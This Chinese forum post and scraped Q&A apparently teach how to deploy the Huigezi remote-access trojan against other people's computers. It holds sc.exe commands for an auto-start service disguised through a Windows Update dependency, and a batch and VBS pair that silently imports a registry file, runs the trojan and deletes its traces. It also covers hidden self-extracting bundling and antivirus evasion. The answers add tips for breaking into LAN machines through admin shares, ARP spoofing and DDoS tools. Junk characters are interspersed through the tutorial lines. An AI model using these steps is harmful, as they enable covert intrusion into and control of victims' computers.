灰鸽子求教！攻击内网

~ 简单打造不死鸽子
这个方法在官方出专杀不久，我自己是根据Radmin配置得到的灵感，没什么技术含量，一直不敢说出来怕大家笑话，老鸟就不用看了 : L|OWbR
J]-l0?
废话少说现在讲下正题： R!m-m)D
e"a?*#q
我们的目标是： ")f '9N
~C #h_hGW`
过官方专杀，过咔吧主动防御 的不死神鸽 VLhg)>$u8
o )G_|<.C
准备工具： UmNHUF
*tjt 'm[#
鸽子服务端 BH %#Z`
MVJG3\+ o<
IcoSprite图标更改器； j}A+gNH'd
Yp)6 `
SC.exe服务添加删除更改工具； K1rnz%>
4[9bHe{r.$
winrar hE[G;sP
v,SONzf
程序特点： H=;n%!=
j0NT1f;nL
自解压形式，双击即可 i6C;;#Iz@
hG/5/S5Lu
制作过程： .6OB|tI"
1. 首先自己配置一下鸽子服务端，配置时[启动项设置]这里面的都不要填，不要写入注册表，也不要用服务启动。其他的随你个人爱好。 nU-<Dkm\/
t8';f9Ov
2.用SC创建一个服务 9y|&dpP*
2gb@ ;.
运行CMD.EXE 在system32的目录下运行执行 "7#4|0EtL
:3xDm;
SC.exe create huigezi BinPath= "%systemroot%\system32\gezi.exe" type=own type= interact start= auto DisplayName= "gezi" }TrL_b
‘这句是用SC建立一个服务，服务名为huigezi，路径Binpath为"%systemroot%\system32\gezi.exe"，类型type为 own 与interact交互，启动类型start为自动，显示名DisplayName为"gezi"。 DCW"-K
X}dH_<N
sc.exe descript_ion huigezi "不死鸽子" PG(wN<S
‘这句是将huigezi服务的描述改为“不死鸽子” 0}?Zll
:Xk_tI;+7
sc config wuauserv depend= huigezi 7b#[C4f
‘配置huigezi使wuauserv服务依存此服务（wuauserv可以根据自己喜欢改成其它服务，这里的wuauserv是系统在Windows Update网站的自动更新服务）。 EC?;Bv5sF
)*b$pL'G
这里的目的是迷惑管理员，使其不敢轻易停止我们生成的服务，自己也可以多加点。 +jcqb?keL
.Rg# Hf
3.将这些从注册表导出，我个人经验是：瑞星,咔吧等的注册表监控不会对导入注册表报警. 我们将他命名为1.reg *gL(X)Fh
 5< <
4.创建一个BAT文件,并命名为update.bat )"mZ41JqjT
TI w#`,
@regedit /s %systemroot%\system32\1.reg :]+rlj
@%systemroot%\system32\gezi.exe v#; 6CP
@del /q /f /s %systemroot%\system32\1.reg 6/'pYQ1
@del /q /f /s %systemroot%\system32\Update.vbs /rdDVqQ9
@del /q /f /s %systemroot%\system32\Update.bat w{x?E
D3BJ30=
5.创建一个vbs并命名为update.vbs k:0V;

=D: aK7hS
目的是为了作用是令bat里的内容以安静模式执行，这样就可以让cmd窗口跳出来了，增加了不少隐蔽性。 3:DX/c..
+p7 ';?
里面写上如下代码： EcRT!T<`6G
vT/~4
On Error Resume Next PezY$&g
set wshshell=createobject ("wscript_.shell") WN?$tqkZ

a=wshshell.run ("cmd.exe /C %systemroot%\system32\Update.bat", 0, TRUE)  uvqL
U9!zxi|2e
6.用我门配置出来的服务端，并命名为run.exe，用run.exe做一个自解压文件，并命名为gezi.exe.。 lMuz*
x9~rVN6
记得将解压模式为全部隐藏.解压后运行run.exe，当然你的服务端要自己做免杀，这里我就不多说了。八仙过海.... }&gTj1-C!
l,IC
7.将gezi.exe 1.reg Update.vbs Update.bat 再用winrar制作一个自解压文件，解压到%systemroot%\system32\ 解压后运行Update.vbs 6QW7_ S
Wy*[xk
当然解压模式依旧全部隐藏，替换同名文件 gE3|`Q
9
h
ebOD

现在用rar捆绑出来的文件很多杀软都不杀，你也可以用系统自带的捆绑机，或其他的捆绑机 RSNeCF,0
]/"^v-<{\
这个方法可以用到其他的木马中 OD2c)qzkh}
I:8
捆出来的自解压文件也可以自己再加工:去掉右键用"winrar打开"

先得知道木马的原理，，由内部种种，内外结合，进行攻击，如果对方有开防火墙之类的，首要就是把他的关掉，

接下来，，嘿嘿，，

0.0刷

知道IP,如果对方没装补丁,不管对方有什么防火墙,我能在30分钟进入他的电脑

至于软件,如果用破解版的,那是帮别人工作,你抓个肉鸡变别人的了.

灰鸽子我觉得并不是很好..

不用灰鸽子也行啊
用系统自带的远程桌面连接啊，只要知道他在网吧的局域网地址

---

韶山市14724682273： 怎么用灰鸽子控制局域网内的电脑? - ？
宋独稳可： “然后你得按照提示输入控制别人的电脑的IP地址” 笑死了,会不会用鸽子啊????输入别人的IP???鸽子是反弹型木马,要输入自己的IP,对方中了木马后主动根据IP地址找到你,申请你的控制…… 你问的问题也很怪异!是局域网去控制相同局域网里面的主机,还是局域网控制外网的主机呢?前者很简单,IP为主机的IP就OK了!后者需要端口映射!

韶山市14724682273： 怎么攻击局域网内电脑 - ？
宋独稳可： 用灰鸽子也可以,不过也要学上一段时间,最简单的方法是,如果是同一局域网的话,知道到他的IP,然后在运行里面打上\\IP\C$,需要打用户名和密码,用户名打administrator,除非他没设置密码,你可以直接进入,然后可以任意改他C盘里面的东西,甚至直接放木马进去

韶山市14724682273： 怎样用灰鸽子攻击局域网内的其它邻近电脑? - ？
宋独稳可： 和别的文件压缩在一起做一个自解压运行文件!传给对方

韶山市14724682273： 灰鸽子怎样用?谁可以教我?？
宋独稳可： 很多黑客朋友因为自己在内网没有公网ip,灰鸽子不能反弹上线,看完这篇文章!您可能会发现新大陆哦! 看到有人苦恼鸽子上线问题,特别是内网的朋友.内网真的很麻烦,我看过一些其他的教程录象说的并不详细,或多或少总是遗漏一些关...

韶山市14724682273： 怎样用灰鸽子攻击别人的服务器？
宋独稳可： 灰鸽子的作用是远程控制 而不是攻击他人 攻击他人. 你要使用的工具是DDOS软件 也就是利用大多数的肉鸡的带宽去消耗人家服务器的带宽 导致他人带宽用完.当机或连接不了网络 代表的软件是:风云或netbot5.2系列

韶山市14724682273： 我在内网上线灰鸽子,请问我怎样就把所有局域网内的机器都可以控制了? - ？
宋独稳可： 玩鸽子你得把你自己的杀毒防火墙先全关了,我感觉这个很危险,你在控制别人的同时,别人也可能会随时控制你.再说一旦感染,如果你连接外网的话,...

韶山市14724682273： 如何入侵内网计算机.？
宋独稳可： 基于内网终端系统的入侵方案: 条件1:你所处于的机器已位于内部网络. 0x01,你能够充分利用中间人攻击,即利用ARP协议. 0x02,你可以通过攻击网络设备从而实现MAC地址欺骗进行入侵(由于路由器和集线器的不同,从而入侵的将会...

韶山市14724682273： 怎么样进行局域网攻击 - ？
宋独稳可： 如果你所说的局域网是用的固定的IP.而没有DHCP服务器的话就好办了 网上有好多软件好使 灰鸽子就是一个不错的 单你的知道你要控制机器的IP 所以在配合一个扫描IP的软件 最好带同步植入的 因为使用灰鸽子控制别人 要给他植入一个被控制端

韶山市14724682273： 灰鸽子怎么攻击别人的电脑？
宋独稳可： 灰鸽子不可以,只可以控制别人电脑,要攻击还是得靠病毒来破坏文件!或者用DOS(DDOS也可以)来是其电脑变慢,仅此而已

韶山市14724682273： 高分!!!求局域网中灰鸽子的使用方法! - ？
宋独稳可： 在网吧上线的可能性基本为0. 要想在内网上线,只有作端口映射. 映射有两种方法: 一是用端口扫描软件扫描开启9999端口的机器,然后用灰鸽子自带的端口映射工具映射,每个都要自己试一次,我当时玩的时候试了两天才有一个,用了两个星...